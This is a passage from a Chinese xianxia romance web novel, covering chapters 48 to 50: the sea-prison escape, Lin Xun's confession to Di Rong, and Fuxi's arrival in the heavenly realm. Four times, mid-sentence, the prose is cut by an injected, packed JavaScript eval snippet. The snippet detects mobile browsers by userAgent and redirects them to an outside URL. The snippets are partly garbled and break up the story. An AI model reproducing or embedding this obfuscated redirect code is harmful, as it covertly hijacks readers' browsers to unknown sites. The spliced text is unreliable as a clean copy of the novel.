他回想起陆眠说的话。 那天回去之后,经过几个不眠不休的夜,他梳理来龙去脉,惊诧地发现所有的一切都有迹可循。 扶西的纵容忍让,被鲛人无限放大的欲念,还有那句真心实意的赞美。 他大约明白过来,扶西喜欢他。 他也意识到自己从前说的话有多么的愚蠢。 怎么可能和谁成亲都一样呢? 扶西望着手背上那只熟悉的手,再望向献流颇有些黏糊的神情,背后竟忽然起了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14374908|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层鸡皮疙瘩。 他怎么露出这么奇怪的表情? 扶西还在心头努力剖析着献流如此神色的动力和原因,这边献流的脸已经越凑越近。 他还十分自觉用另一只手揽住自己的肩膀,轻轻一扣,让自己正正地面对他。 他笑着说:“我都知道。” 知道,他又知道什么了? 扶西望着他不断凑近放大的脸,面前的情景忽而快速旋转起来,她呼吸急促,脑袋快要爆炸。 胸膛中的心脏正有力地跳动,她心海翻腾,只觉得隐隐有什么在里头,只要她掐破一层皮,就能看到那东西不要命地涌出来。 她抽出手,用手掌挡住献流凑过来的脸:“等一下!” 献流闻言止住了动作,撤回了身体,望着扶西略有些惊恐的神色和红得不像话的耳朵,他眨巴着眼睛,脸颊也腾的一下红了。 也对,扶西说过,她特别害羞。 想到这里,献流还是保持着方才的微笑,轻轻将她的手拿下来握在自己手里。 扶西吞了吞口水,她喉咙从刚才起就干得不像话,太过用力的心跳终于恢复正常,她望向已经和自己十指相扣的献流。 此时他正煞有其事地翻转着手掌,面带微笑,似乎正在欣赏她们扣在一起的手指,看上去心情很是愉悦。 扶西又觉得自己的皮肤收紧了。 这种感觉很不好受,平静与奔涌的交替居然让她额角渗出了一层薄汗。 这是一种前所未有的感受,扶西没来由的有些惊慌失措,立刻将手抽了回来,拢在袖子里才好受不少。 她这是怎么了…… 难道是因为真身,天杀的,她不会要死了吧! 从激动到惆怅,不过一眨眼的功夫,她蹲在角落,眼角居然不受控制地滑下一行眼泪。 献流见此情形,连忙上前,不等思考,拇指的皮肤已经接触到清凉的泪珠,继而是有些湿滑的柔软皮肤。 “怎么了?”他轻轻擦去扶西眼角的泪,神色依旧温和。 “我,说不上来,我有点激动。”她蹙着眉,并不明白自己的反应。 献流心下了然,是了,他向扶西表明自己已经明白她的心意,有些激动是正常的,只是没想到她能激动地落泪。 这是有多开心啊。 “没事,是正常的。” 扶西点点头:“我,我又开始担心自己,我不过是个小小地仙,又被你吃了真身……”她真不想死。 献流愣了愣,他没想到扶西居然想得这样长远,现在看来,他们二人身份地位在世俗意义上确实不大相配,一个天界战神,一个小小地仙。 可这有什么好担心的,他向来不在乎这些浮名,若是扶西担心,不喜欢,舍弃了也无妨。 “别太担心,这些交给我就好了。” 扶西听他这样说,紧绷的皮肤霎时放松,纠结的血液重新通畅,她抿抿唇,回想起这段时间一箩筐的倒霉事,她下意识地抬手搂住献流的脖颈,抱着他嚎啕大哭起来。 献流僵硬了一瞬,又立刻回过神来,他抬手抚上扶西的背,给她顺气。 “没事,好好地哭一场。”他想了想,又加了句,“都怪我知道得太晚了。” 48. 怪了,坏了,完了 扶西嚎了会儿,感觉整个人比之前轻松不少,她睁开有些红肿的眼睛,望着水幕之外从远处缓缓游来的几条丑鱼。 双眼外突,形容诡异,摆尾的动作也是鬼鬼祟祟的,她抬起手指数了数,生得这样怪异的鱼,居然有五条! 她下意识往前挪想看得清楚点,却因在献流怀里窝久了忘记前头还抵着个人,不管不顾地往前,反而将献流死死抵在了水幕上。 “扶西,你……” “我觉得有点奇怪。”她说。 献流感受着脊背上酥酥麻麻的痒意,不知为何,这水幕的电流对他影响并没有扶西那样大,他不觉得疼痛,反而有点快意。 奇怪么? 他伸手将扶西几乎快贴到水幕上的身子推了推,方才擦着的脸颊的衣襟便往后退去,露出扶西一双如墨的眼来。 “哪里,奇怪?” 扶西又凑过去,整个身体几乎扑到献流身上,轻盈的木香即刻将他整个人包裹起来,献流喉头动了动,再受不了在他脸颊上动来动去的衣襟,干脆猛然起身,站了起来。 扶西被他动作一惊,腿还来不及站直,便被他搂着腰站了起来,这下视线完全被献流高大的身躯遮住了。 她踮起脚尖:“你看看。” “我在看。”献流出声,嗓音都有点喑哑。 灼热的呼吸有节奏地逼近,扶西才察觉出不对来,她抬眼看着献流缓缓弯下的脖颈和已经闭上的眼睛。 他是不是又误会什么了? 扶西抬手一把按住他的脑袋,丝滑地将人翻了个面。 献流还来不及反应,他本就不曾设防,脚底随着扶西推搡的动作旋转,他整个人就扑到了水幕上。 鼻尖上的凉意阵阵,嘴唇已经触到水幕之上,方才不甚明显的酥麻感觉此刻无限放大,电得他蹙起眉头。 献流睁开了眼。 和水幕外五双突出的鱼眼对在一处。 他好像能听见他们说话。 “他们在干什么?”一条红鱼嘬了嘬嘴。 旁边的银鱼用鱼鳍扇了它的脸一巴掌:“你管人家做什么?人家爱做什么做什么。” 黄鱼的脑袋上下晃动,旁边的粉鱼羞涩地向他靠近。 只有一条棕色的鱼愣了愣,便向相反方向游去,不一会儿他快速游来,一张一合的口中似乎发出两人熟悉的声音。 “山君!我来救你!” 声音过后,棕鱼的脑袋重重触到水幕之上,他整个人身体变形缩小了一截,便伴着滋滋响的电火花往下坠去。 扶西凑上去:“小侯!” 献流站直身体:“你们,你们怎么找到这里的?” 黄鱼出声,正是陆眠:“山君来不及多讲了,我们找找出口,放你们出来。” 原来,安阳红生,陆眠十一同小侯不知从哪里找来的情报,化作游鱼在西海游了五天五夜,方才找到这里。 十一晃着尾巴:“山君,那龙王有没有伤害你?”她说着说着,抽泣起来。 扶西真想将手伸出去摸摸她的头,却没办法,只得笑着道:“没呢!她老人家就是脾气不好,我们两个身上都没伤。” 几条鱼在海牢周围搜寻了半天也找不到出口,用法术砸,用脑袋撞,用尾巴甩,一来二去,海牢震动,水波晃荡。 可惜还是无用。 “山君,怎么办?”小侯迷迷糊糊地从下头浮上来,“我好像闻到烤鱼香味了。” 扶西望着他几乎被电熟的半边身体:“小侯,你先歇歇吧。”别把自己吃了。 “山君……” “扶西啊,要是那龙王确实不曾拿你怎么样,不然就等着她放你出来?”安阳气喘吁吁,累得快睁不开眼。 “那不行,父亲没听扶西说嘛,这龙王阴晴不定,这前头确实不想杀,万一后面想杀怎么办?” “可海牢打不开,连个缝也没有。” “山君,我在这里陪着你,当条鱼也没什么,而且我们小,他们发现不了。” 扶西见此情形,很是感动,她鼻头一酸,忙摆手道:“罢了罢了,诸位能来,我特别高兴,西海龙王确实阴晴不定,大家别跟我冒险,先回扶西山再说。” “不行!” “要回你们回,我陪着山君吧,我不放心。”十一游过来,“前头我成亲,天降流星,吃了山君的真身,如今我又成亲,山君被抓紧海牢……”言罢她垂着头默默流泪。 陆眠过来蹭了蹭她。 “十一,你别乱想,跟你没关系。”扶西望了望旁边略有些呆滞的献流,用手肘打了下他手臂,“都是他的错。” 献流忽觉身体中热意澎湃,仙力汹涌,方才众人的谈笑只听了一半,整个人便愣住了。 他望向掌心,明显地感知到,几乎是在方才的一瞬间,他的修为竟恢复到先前的十之七八了。 颇有些诡异。 此前苦苦修炼,挣扎数月也没有进展,为何如今恢复只在一瞬。 耳旁的说话声听不真切,直到扶西碰了碰他,献流才回过神来。 “或许,我可以打开海牢。” 大家你一言我一语的争执霎时停了下来,目光都注视着他。 扶西凑过去观察他表情,一看又有些恍惚了:“你,你比方才好看了不少。” 献流偏头看他,脸颊浮现出一丝不易察觉的红晕,都这个时候了,扶西还不忘向他剖白心意,真是的…… 他微微笑着以示回应,掌心瞬时凝结起一团泛着金光的火球,越来越大,越来越亮,直到海牢不受控制地抖动起来。 晃动的幅度越来越大,水幕流动的速度也修炼减缓,扶西脚下趔趄,腰间却被献流眼疾手快地揽住。 他们的衣裳发丝也随着巨大的风势直直冲着海面的方向舞动起来,献流一手揽着她,一手高高抬起。 “砰——” 伴随着珠玉碎裂之声,两人五鱼被一股强大的漩涡包围,冲天一般向海面飞去。 “哗啦——” 几人刚在海面冒头,还来不及反应,便以极快的速度朝扶西山的方向飞去,凌厉的风势直直扑来,扶西快速摇着脑袋,终于把挡在眼前的发丝挪开。 多少有些狼狈了。 她抬头,望着有如利箭前行的献流,飞扬的发丝间隐约可见他平静的侧脸,风势如此,竟也不曾影响他的面容,跟站在平地上没什么两样。 这厮什么时候这么厉害了,海牢说破就破,那怎么一开始被关进去的时候不破,硬是在里头捱了这么久。 这海牢里有什么好待的。 许是察觉到她目光,献流稍稍偏了点头,分来点目光:“怎么了?” 扶西撇撇嘴:“没什么。” 献流看到她凌乱的头发和沾水的眼睫,再观察到她多少有些哀怨的眼神,思考了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385299|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿,便用外裳裹住她,抱得更紧了。 落地之时,扶西从他臂膀里钻出个脑袋,打了个喷嚏。 献流放开她,还没开口说话,就用手背覆上了她额头:“还好,没发烧,你先去休息吧。” 扶西哦了一声,转身欲走,整个人却忽然腾空,她酸软的腿弯无力地耷拉在献流的手上,一偏头就是他梆硬的胸膛。 “我送你过去吧。”他微微笑着,垂眸望着扶西的眼里几乎能掐出水来。 扶西只觉得嘴角似乎也有点酸酸的,她口周肌肉紧绷,硬是压下了几欲上扬的唇角。 还没思考过来这究竟是怎么了,她已经被献流放进了柔软的床榻里,掖好了被子。 昏黄的日光从窗口洒进来,扶西梗着脖子,眼看着献流的身影消失在门口才放松下来,她把被子缓缓往上拉了点,盖住口鼻,只留一双眼睛在外头。 怪了,坏了,完了。 她好像有点开心是怎么回事…… * “你再说一遍。”帝容抬手揉着额角,又叹了口气。 跪在下首的麟寻脊背挺直:“我不欲同师兄成婚,加上魔界右护法卫和对他一见钟情,我们便商议,由卫和的兄长在东海之滨扮作饕餮,引师兄前去绞杀,而后让他坠入凡间,与卫和历经三世情劫,以谋个成全。” 她深吸一口气:“事情经过就是如此。”她朝帝容了磕个头,“无论什么刑罚,我都能承受,只求师父,不要怪罪于西海,此事是我一人所为。” 帝容起身,只觉得脑袋里爬满了蚂蚁,她走下长阶,目光只恨不得将这徒弟捅个对穿,誓要看看她脑袋里到底装着什么。 “你可想过,若他下凡历劫,依旧没爱上卫和呢?” “就算没爱上,他应当也没心情与我成亲,这个婚约,本就是个错误。”麟寻膝行往前,一改往日的淡漠,大着胆子抓住帝容的衣角,“师父同意这个婚约,或许是因为我父亲的胡言乱语。” 帝容嘶了一声,麟寻几乎也是她看着长大的,那日老龙王说的那叫一个言辞恳切,只说自己女儿倾慕献流已久,为他害了相思病,茶不思饭不想,只求帝容成全麟寻,成全他这个老父亲的拳拳爱女之心。 她当时问献流,他一副无心无情的模样,丝毫不在意。 说实话,这两人青梅竹马,倒也相配,当时只觉得麟寻恋上献流这个无心的石头,少不了吃苦。 她也细细想过,加上老龙王天天来嚎,献流也不反对,她就定下了。 “父亲当时,真是这么说的?”麟寻目光诧异,双手紧握成全,胸膛被怒气填满,若非天君在此,她势必要即刻冲回去,再和她老父亲打一架。 帝容看出她所想,也不好意思地咳嗽一声:“当时他说你害了相思病,我便不曾细细问过你,想来也是师父不妥,麟寻,起来吧。” 麟寻愣神会儿,便有些不知所措地站起来:“师父,您,您不怪我吗?” 帝容望着星河里光芒愈盛的红鸾星,叹了口气:“等献流历劫归来,再说吧。” 麟寻松了口气:“多谢师父。” “哦,对了,你这段时间就别回西海了,去启明殿帮忙吧。” 麟寻脚步顿住,有些迟疑。 “我忙着准备铜陵台上的决斗,哪里有时间。”帝容负手而立,“快去快去。” 麟寻头皮一紧,忙应了声是,退出大殿。 49. 我太爱你了! “师父!”麟寻额角渗出一层薄汗,直直跪了下去。 要瞒过师父太难,麟寻不再挣扎,干脆将她与卫和兄妹二人所谋之事全盘托出。 她只想让献流与卫和相爱,再同她退婚,再没别的:“师父,如今师兄坠落下界,如何是好?”她抬眼,颇有些歉疚。 平心而论,献流这个师兄当得很是称职,除却有时候莫名其妙的一根筋和不解风情,当作长辈来看还是挺好的。 “可有,性命之忧?”麟寻抿唇,多少有些难堪。 帝容神色诧异,抬手示意她起来:“当初是你茶不思饭不想求来的婚事,怎么如今说不要就不要?”千万年的光阴足够冲淡曾经伤痛的过往,但不意味着帝容无情。 她记得老龙王恳切的话语和满脸的忧心:“你父亲说,若再不同意,你就要死了。” 麟寻只觉得胸膛里那股气找到了出口,砰砰几声全从头顶窜出来了,她握紧拳头,脑海冒出来的第一个想法居然是再同老父亲打一架才好。 他怎么能这么胡说八道! 望着麟寻的表情,帝容也逐渐反应过来,她被老龙王精湛的演技一哄,加上献流没发表任何意见,这婚约就这么定下了。 “性命暂时无碍,若再不归天,难保出事。”帝容望着气得浑身发颤的麟寻,抬手拍了拍她肩膀,“麟寻,为将功补过,你去接他回来吧。” 麟寻重重点头,躬身往外走,才走了两三步,心头丝丝绕绕,难受得紧,于是又撤回去。 谁想高座之上,帝容正仰着脑袋,十指紧紧扣进发丝之间,面容狰狞,咬牙切齿,唉声叹气。 麟寻愣了愣:“师父?” 眨眼睛,麟寻看着长阶上师父面容一如往常,好似冰雪,她晃了晃脑袋,还以为自己看错了。 “何事?”声音也冷冷的,同平日并无分别。 “我多带些人去吧。”她怕献流当场与她打起来,倒不是害怕打不过,就是不想趁献流受伤之危。 “嗯,去吧。” 得到准许,麟寻扬起头颅,像平常一般走出大殿,飞扬的衣袍猎猎作响。 没什么好怕的,她想。 头颅只高高昂起三刻,思前想后,她还是先回了趟西海,取出了自四海平定后就被封存的银环鞭。 * 急速前行的云层上,寻踪觅影凑上来说话。 寻踪道:“殿下,我看你好像有些紧张。” 觅影说:“怎么可能,殿下与神君是亲师兄妹,好的穿一条裤子,以后还要睡一张床呢!” 麟寻的脸更黑了。 觅影见她神色不好,只好悻悻地退下去,这龙王,前阵子说他家神君在凡间历劫,这会儿又说受了重伤,坠进下界仙山了。 他回身望向身后天兵,乌泱泱数十人,身披彩甲,祥云环绕,气势汹汹,不像去接人,倒像是去算账的。 * 今日天气不错,扶西退了烧便抬了个摇椅出来,置在镇山石前晒太阳。 暖融融的阳光洒在皮肤上,她舒服地眯起眼睛,又在毯子里头蹭了百八十回才钻出来。 海天相接之处有七彩霞光,扶西双眼缓缓睁大,脑袋还没反应过来,双脚已经跳了下来,她注视着渐渐逼近的光芒,终于察觉出不对劲来。 她眸光微闪,难道又是那小贼召来了什么莫名其妙的东西。 大地陡然震动,老桑树枝条晃荡,身后的镇山石也响了一声。 扶西头皮发麻,缓缓抬头,她目光扫过逐渐逼近地面的云层,心脏被吓得生疼,全身上下都起了一层鸡皮疙瘩。 彩云之上,高大威猛的天兵身披霞衣,宝铠光芒逼人,他们层层叠叠地围成圆圈,目光如炬,形容威严。 云彩正中,西海龙王麟寻手持一柄银光闪闪的长鞭,目光冷冽,不近人情。她身侧立着两名身量修长,形容相似的男仙,无一不是掀着懒洋洋的眼皮,用鼻孔看人的架势。 扶西只觉得双腿陷入泥沼之中,烂得抬不起来,她神色剧变,强忍着尖叫的冲动往石头后面跑去。 不是吧,她们不过是破开海牢溜回来,别的什么也没做,犯得着用这么大的架势来抓人吗? 破开海牢犯天条吗? 麟寻一眼就看清了地面上的人影——那个本应被关押在海牢中的小地仙。她蹙眉,还没多想,嘴唇已经出声:“来人!把她拿下!” 海牢坚固,她本事倒是大,趁着自己登天,居然敢悄悄跑了。 扶西自然听得到麟寻的声音,只觉得腿愈发软了,眼看着两个威猛无双的八尺大将飞下云层,不由分说地将她按倒在地。 一点也不怜香惜玉。 扶西被吓得树杈子都抖出来了。 她开口求饶:“误会,都是误会,我没犯事儿,大罗神仙们,你们一定是弄错了。” “闭嘴。” 伴随着冷漠无情的声音,扶西被反钳着手,脸颊重重砸到地上,她抿唇,眼角滑下一行泪。 错,都是错,做什么都是错,她脑子已经混沌不清,她到底招谁惹谁了。 眼前出现几双陌生的脚,扶西抬起头。 只见麟寻身侧两位男仙正低头打量她:“殿下你好不讲道理,抓人家小姑娘做什么?” 扶西在受限的情况下重重点头:“是啊是啊,殿下,我不是故意逃出来的。” 麟寻听她这么说,眉头蹙得更深,兀的,她忽然反应过来,西海海牢如此坚固,能以蛮力破开此牢者,莫非就是…… “师兄?”她试探着叫了一声,顺带握紧了手里的鞭子。 寻踪瞪大了眼睛。 觅影往后跳了一截:“神君下界,怎么变成女人啦!” 扶西不明所以,犹豫地对上麟寻探究的目光,她只觉得自己仿佛立在一座孤峰上,不论往哪个方向走,都是粉身碎骨。 她吞了吞口水,虽不知道麟寻何意,还是咧开嘴勉强笑了个:“哎?” 麟寻掌心一翻,艳红如血的珠子便缓缓朝扶西飞去,不过将将触到她胸膛,就立刻飞了回去。 麟寻收回手掌,怒气更甚:“你骗我!” 扶西五官皱在一起,实在有点委屈:“明明是殿下先叫我师兄的……” 寻踪本想让天兵放开扶西,可又在看到麟寻那张黑如炭火的脸时犹豫了。 觅影出声:“殿下别凶了,先去找神君。” 麟寻甩了甩衣袖,留下一句掷地有声的“把她给我看好”便飘然离去。 她带着数十天兵狂风过境般扫过扶西山,只抓来两个男人一个女人,一一试过,都不是献流。 “山中可还有其他人?”她面色不悦,师父所言定然为真,想必是这些小仙不知轻重,偷偷将献流藏了起来也未可知。 他如今修为不曾恢复,竟叫这些人欺负,实在可恶。 扶西扫过去,就那小贼不在,她对着小侯做口型:“他人呢?” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403641|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯小幅度地摇了摇头。 “山中出什么事了?” 献流的声音恍若平地惊雷,他落地时双手还捧着个脸蛋大的盆,双颊沾着些灶灰,原本含羞带笑的眼立时化作疑惑。 再看到遍地的天兵和寻踪觅影,立刻明白过来。 “师兄?”麟寻见他模样身形,直接将珠子送过去,果不其然,帝容交与她的血红珠立刻融入献流胸膛之中。 光辉无两,彩霞漫天,扶西抬眼,只看到献流周身涌动着蓬勃的仙力,继而有鸟争鸣,耀眼的光芒扎得她不敢直视。 直到光芒如潮水退去,扶西终于看清了献流的真容。 他身量高挑,微微泛着金光的彩衣上是数不清的暗纹,一条看似平平无奇的衣带紧紧扎住他细瘦的腰身,交叠严密整齐的衣襟上方是那张愈发容光焕发的脸。 同之前一般凌厉的眉,稍有些狭长的眼眸,长睫微垂,在两颊上投下细碎的影子,又比之前好看了! 献流眸中诧异未消,手中略有些朴素的大碗是那么格格不入。 “寻踪觅影。”他微微一笑,唇角牵起弧度。 两人立时拜倒在地,面面相觑,琢磨着献流那个意味不明的笑。 寻踪说:“神君为何这么笑?” 觅影道:“这还用问,他遭难坠落扶西山,我们没一个来救的,死定了,死定了!” 扶西心头凉成一片冰原,脑海里飞速地闪过这段时间自己做的事,多少情景,历历在目。 原来这贼真的没有撒谎,他果真是天君二弟子——战神献流。 扶西脑海之中山崩地裂,望着表情不善的麟寻,再望着被紧紧束缚住的陆眠十一小侯。 献流这是什么意思? 要报复?算账?还是…… 扶西不敢细想,他们身份悬殊,献流若想报复,同碾死一只蚂蚁般简单。 若山中只有自己,她便认了,可陆眠十一小侯他们怎么办? 细细想来,扶西觉得自己已经十分宽容大度了,献流吃了她真身,她只是一开始凶狠血腥了点,平常待他,还是,挺好的…… 吧…… 感受到手臂上的力量似乎变小了一些,扶西咬咬牙,深吸了一口气。 献流看到扶西了,见她有些狼狈地被按在地上,很是震惊不解,忙不迭快步上前,正欲抬手吩咐几人身边的天兵放手,不料扶西却趁天兵出神之际挣脱了束缚,直冲冲向自己跑来。 他心头一动,连忙将手里的碗递给懵逼的觅影,朝着扶西张开双臂。 …… 怀中无人,双腿却传来紧紧的束缚感,献流有些在情况之外,他低下头,望着扶西那双泫然欲泣的脸,刚想抬手帮她擦擦脸颊上的泥土,扶西却抬手抓住了他手指。 他愣住,一时无言。 扶西喉头动了又动,下颌紧绷,不过片刻,她声音洪亮,几乎传遍整个扶西山。 “我所做的一切,都是因为太爱你了,我舍不得你离开扶西山!” 山中回音阵阵,经久不歇。 说完这话,扶西的脸已然红透,见献流没有回应,她便欲为山中其他人辩驳:“那些事都是我做的,跟别人无关,你……” 谁料献流眼眸含笑,唇角弯弯,他蹲下来,和扶西视线对在一处,看了她一会儿,才凑到耳边。 温热的气息喷吐到扶西耳廓上,那是一句只有他们两个人听得见,语调上扬的话:“我早就知道了。” 50. 我是个以前是山君的仙子 扶西往后退了半寸,目光定定放在献流那双如水波轻颤的眼中,片刻后她露出个有些僵硬的笑容。 什么早就知道? 扶西抓耳挠腮。 不等扶西细细思量,天空中惊雷乍起,七彩祥云快速翻涌,化作低沉极具压迫感的乌云,旋转着朝地面奔来。 “轰隆——” 伴随着明亮逼人的闪电,扶西身体抖动起来,她望着面前缓缓朝她走近的几人,无一不是面庞模糊,神色不清,没了霞光,她只觉得面前献流的脸庞也变得重重叠叠起来。 她感受到身体中未明的变化,不知道是紧张还是害怕,她手心已出了一层薄汗,连呼吸也变得困难起来,她抬手重重抓住献流衣袖,上气不接下气:“我,我的真身还没拿回来,我不想死。” 献流望着逐渐汹涌的云层和频率逐渐加快的雷鸣,心中明了,他抬手捧住扶西有些脱力的脑袋,轻声安慰:“不会,怎么会死呢……” 后头的话,扶西再也听不分明了,耳边的话起初像是蜂鸣,可在波动的浪潮里捕捉到一两个字,诸如雷,诸如劫,再往后就是一滩平静的死水,她五识被完全封闭,整个人仿佛跌入不起波澜的黏腻湖水之中,失去了所有的力气。 * 扶西很少做梦,于是呆愣了很久才反应过来自己身处梦境之中,望着苍茫天地中那株茂盛的桑树,她缓步走近,来到树下,抬手将树干环抱住。 更加粗壮了! 好样的扶西,你果然又进阶了。 她乐呵呵笑了一阵又忽然反应过来,这是梦,是假的。她上扬的唇角僵在原地,整个人无能狂怒半晌,只好跺跺脚往树上来了一拳。 树叶簌簌落地,飘得极慢,慢悠悠的叶群中忽而插入了一条极快的“不速之客”,啪唧一声掉到了地上。 扶西蹲下来,观察那串掉在地上的东西,嫩绿的杆,不过半指长,上头密密麻麻连着几个花椒子大小的绿色花苞,有几个头上已经隐约可见几抹白色。 呃。 扶西用两个指头将其拈了起来,放到眼前上下左右,前前后后看了个遍。 这是她的花? 她开花啦! 怎么开这么丑的花? 扶西扁扁嘴,随手就将花串扔回地上,啪嗒一声,那花居然炸了! “砰砰砰——” 扶西抬头,望向桑树枝桠间,不过一瞬,树梢上居然已缀满了花苞,并且在她移送目光的一刻瞬时炸开,砰砰响声不绝于耳,散开的绿色花苞支离破碎,纷纷扬扬地洒了她满身。 还没反应过来怎么回事,桑树也炸了!绿色的烟雾猛然朝扶西撞来。 “等一下——” 扶西喘着粗气从床榻上坐起身子,拭完额头上的汗,才发觉自己处在一个完全陌生的地方。 床榻硬得不像话,没有任何特别的装饰,帘子都是最简单的白色,面前一张古朴的圆桌,上头放着单调的茶杯茶壶,再无其他。 扶西的记忆还停留在可怖的惊雷上,恍惚了半晌,不善思索的脑壳终于得出一个浅显的结论:这里一定不是扶西山。 她自嘲地笑了两声,这里当然不是扶西山了,这里能是哪啊。 总不至于是天界吧,哈哈。 “神君还没回来?” 门口传来窸窸窣窣的说话声,扶西耳朵霎时竖起来,她熟练地蹬被起身,跳下床榻,蹑手蹑脚来到门前。 “天君神色不好,神君惨了,不说别的,西海那位殿下也得给神君扒掉一层皮。” 寻踪蹙眉:“殿下看样子也不是很喜欢神君。” 觅影拍他肩膀:“你知道什么,这跟喜不喜欢没关系,这是两码事,在殿下看来,神君是她囊中之物,如今被别人取了去,她只怕是要气死。” “你再胡说八道,神君知道,定饶不了你。”言罢他熟门熟路地推开房门,下一刻,便被门中那抹稍有些瘦削的身影吓了一跳。 “砰!”他立刻又把门关了回去。 “夭寿啦!”觅影吱哇乱叫,“忘了神君把她安置在这儿,差点又跑进去午睡了。” 再下一刻,扶西主动打开了房门。 寻踪觅影两人挤在一处,悄悄打量着扶西。 鹅蛋脸,葡萄眼,明目皓齿,长睫浓密好似小扇,两颊稍稍有些瘦,却不显伶仃,此刻她一双恍若明珠的眸子滴溜溜地打着转,灵动而不精明。 一身绿色的衫子在热衷白色彩衣的天界很是显眼。 看上去很好说话的模样。 “仙子醒了,怎么不多睡会儿。”觅影咧嘴一笑,却被寻踪拧了拧胳膊。 “她没在睡,她是昏过去了……” 觅影咳嗽两声,又道:“哦哦,这样啊,我们两个想起来还有事,先,先走了!” 扶西轻叹口气,果不其然在天界,想来是献流给她抓上来了,不过看此境况,并没有很差。 献流好歹顾及几分吃了她真身的情谊,还是好生款待着的。 有义气! “先别走,我有事,想问问你们。” 寻踪想了想,点点头。 觅影却道:“你可别想着拉拢我,我目前是站殿下这边的。” 扶西只觉得他说话牛头不对马嘴,只往房门一侧,迎他俩进来。 三人在圆桌边坐下,很是局促尴尬,扶西打量着二人,模样生得别无二致,只不过一个跳脱,一个沉稳。 觅影嘟囔着:“你别想收买我,我站龙王这边,他俩青梅竹马,殿下肯定要把你生吞活剥。” 寻踪踹了他一脚。 “仙子别听他胡说,神君定会护你周全的。” 扶西笑容僵在脸上,怎么听都感觉自己没有好下场。 她将来龙去脉梳理一遍,惊觉西海龙王麟寻不仅有爱人在怀,还有三十二个孩子,天界众人看起来并不知道此事。 她按按狂跳的心脏:“就是,神君平日里都喜欢什么啊?” 觅影哼了一声:“神君是天界最无聊的人,没有爱好。” 寻踪又踹他一脚:“神君平日里就喜欢写写画画,练练剑法。” 扶西长长地哦了一声,重重点头,一张小嘴从天扯到地,几句话下来,已经将献流数万年的行迹扒了个底朝天。 寻踪觅影也从初时的拘谨到现下的口若悬河,滔滔不绝。 “你不知道,是天君亲口说的,神君幼时在昆仑雪山,衣不蔽体,偷偷溜进天君的木屋,扒了她的伞皮做衣裳,被抽得屁股开花!” 觅影笑得停不住,拍着桌子直呼腹痛,缓了一会儿又聚精会神地听扶西讲在下界仙山的趣事。 一来二去,他竟莫名觉得扶西很是顺眼,心中已经动摇。 扶西见两人逐渐放松戒备,话题一扯:“都说天界好,这可是我头一回来,也不知道以后还有没有机会。”她面容染上几分惆怅。 寻踪思忖,这小仙估计是担心自己和神君无法长长久久,故作此态,倒也能理解。 谁想觅影直接跳起来:“这有什么好难过,走走走,我们现在就出去逛逛。” 扶西也站起来,笑眯眯地望过去:“好啊!” 觅影大手一挥,示意扶西跟上。 寻踪却追上来,悄声道:“神君嘱咐,让她在殿中好好休息。” 觅影摆摆手:“兄长何必担心,神君又没说不让她离开启明殿,况且天知道她后头还有没有机会上天。” “扶西,来啊来啊!”觅影很是兴奋,整日里对着自己兄长和神君,一个闷葫芦,一个大冰块,他满嘴的话无人诉说,跟这小仙子却很是投缘,有来有回,说得他都想下凡玩一圈了。 扶西应了声,咧嘴露出尖尖的虎牙,忙不迭跟上去。 “这是启明殿,神君吃住皆在此处。” “这是夜神殿,星辰流转都由此处起。” “司命殿,管凡人命数的。” “天罚司,神君最喜欢的地方。”觅影说完,便停住了。 扶西不明所以。 “你怎么不问我神君为何最喜欢这里?” 扶西重重点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411275|146870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“为什么啊?” “因为在这里,他可以埋头苦干,把天界所有不守规矩的人通通罚过,变态得很!” 扶西眼珠子滴溜溜地转,献流还有这种爱好吗? “堕仙台,离远一点。” “觅影?”似乎有熟人过来,“不好好在启明殿干活,怎么溜出来玩啦?”那仙子注意到扶西陌生的面孔,“啊呀,这是谁啊?” “哦,这是……”觅影说到一半卡壳了,该怎么介绍呢,他开始挠头。 “下界扶西山,山君扶西。”扶西朝着仙子拱手,微微一笑。 